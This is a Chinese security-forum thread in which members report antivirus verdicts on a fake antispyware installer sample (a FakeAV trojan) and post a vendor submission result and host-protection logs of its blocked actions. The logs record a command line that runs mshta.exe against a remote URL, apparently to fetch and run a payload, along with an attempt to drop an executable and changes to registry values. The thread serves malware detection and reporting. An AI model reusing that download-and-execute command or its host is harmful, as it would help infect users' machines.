AntispywareSetup VT 8/41

显示全部楼层 · 发表于 2010-12-2 21:47:38

360 kill

显示全部楼层 · 发表于 2010-12-2 22:27:03

F-Secure Internet Security 2011
已偵測到惡意檔案，Gen:Variant.FakeAV.18

显示全部楼层 · 发表于 2010-12-2 22:52:37

已上報趨勢哩~

显示全部楼层 · 发表于 2010-12-3 19:27:00

panda
Trj/CI.A

显示全部楼层 · 发表于 2010-12-3 22:14:10

金山网盾报毒，上报红伞

显示全部楼层 · 发表于 2010-12-3 22:24:09

可疑文件和其他需要上传的相关文件

感谢您的提交。在下面您可以看到所上传文件的当前状态。

--------------------------------------------------------------------------------

我们收到了以下存档文件:

文件 ID  文件名大小(字节) 结果
25970262  AntiSpyWareSetup.rar 492.33 KB OK

以下位置提供了存档中包含的文件及其结果的列表:

文件 ID  文件名大小(字节) 结果
25968929  AntiSpyWareSetup.exe  568 KB  MALWARE

下面提供了与每个样本相关的详细报告:

文件名结果
AntiSpyWareSetup.exe  MALWARE

已确定“AntiSpyWareSetup.exe”文件是“MALWARE”。我们的分析人员将这种威胁命名为“TR/FakeAV.18.232”。术语“TR/”指的是能够窥探数据、侵犯您的隐私或对系统进行不需要的修改的特洛伊木马。从版本 7.10.14.171 开始，我们的病毒定义文件(VDF)中将添加这项检测。

--------------------------------------------------------------------------------

显示全部楼层 · 发表于 2010-12-4 07:47:13

avg kill

"";"H:\病毒样本区\SSR\AntiSpyWareSetup.rar:\AntiSpyWareSetup.exe";"特洛伊木马 FakeAlert.VR";"已感染"

显示全部楼层 · 发表于 2010-12-4 12:40:40

2010-12-4 12:39:27 修改注册表值阻止
进程: c:\documents and settings\administrator\桌面\antispywaresetup\antispywaresetup.exe
目标: HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders\Cache
值: C:\Documents and Settings\Administrator\Local Settings\Temporary Internet Files
规则: [注册表组]IE浏览器设置保护(询问) -> [注册表]*\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders; Cache

2010-12-4 12:39:27 修改注册表值阻止
进程: c:\documents and settings\administrator\桌面\antispywaresetup\antispywaresetup.exe
目标: HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders\Cookies
值: C:\Documents and Settings\Administrator\Cookies
规则: [注册表组]IE浏览器设置保护(询问) -> [注册表]*\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders; Cookies

2010-12-4 12:39:28 修改注册表值阻止
进程: c:\documents and settings\administrator\桌面\antispywaresetup\antispywaresetup.exe
目标: HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders\History
值: C:\Documents and Settings\Administrator\Local Settings\History
规则: [注册表组]IE浏览器设置保护(询问) -> [注册表]*\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders; History

2010-12-4 12:39:29 修改注册表值阻止
进程: c:\documents and settings\administrator\桌面\antispywaresetup\antispywaresetup.exe
目标: HKEY_CURRENT_USER\Software\Microsoft\Windows\ShellNoRoam\MUICache\C:\WINDOWS\system32\mshta.exe
值: Microsoft (R) HTML Application host
规则: [注册表组]系统关键设置保护(阻止) -> [注册表]*\SOFTWARE\Microsoft\Windows\ShellNoRoam\MUICache

2010-12-4 12:39:29 创建新进程阻止
进程: c:\documents and settings\administrator\桌面\antispywaresetup\antispywaresetup.exe
目标: c:\windows\system32\mshta.exe
命令行: "C:\WINDOWS\system32\mshta.exe" http://topreerpot.com/inst.php?id=lee_01
规则: [应用程序组]所有程序规则-系统程序执行规则 -> [应用程序]* -> [子应用程序]*\mshta.exe

2010-12-4 12:39:29 创建文件阻止并结束进程
进程: c:\documents and settings\administrator\桌面\antispywaresetup\antispywaresetup.exe
目标: C:\Documents and Settings\Administrator\Application Data\hotfix.exe
规则: [文件组]系统文件夹写保护(拒绝创建) -> [文件]c:\documents and settings\*\application data; *.exe

[病毒样本] AntispywareSetup VT 8/41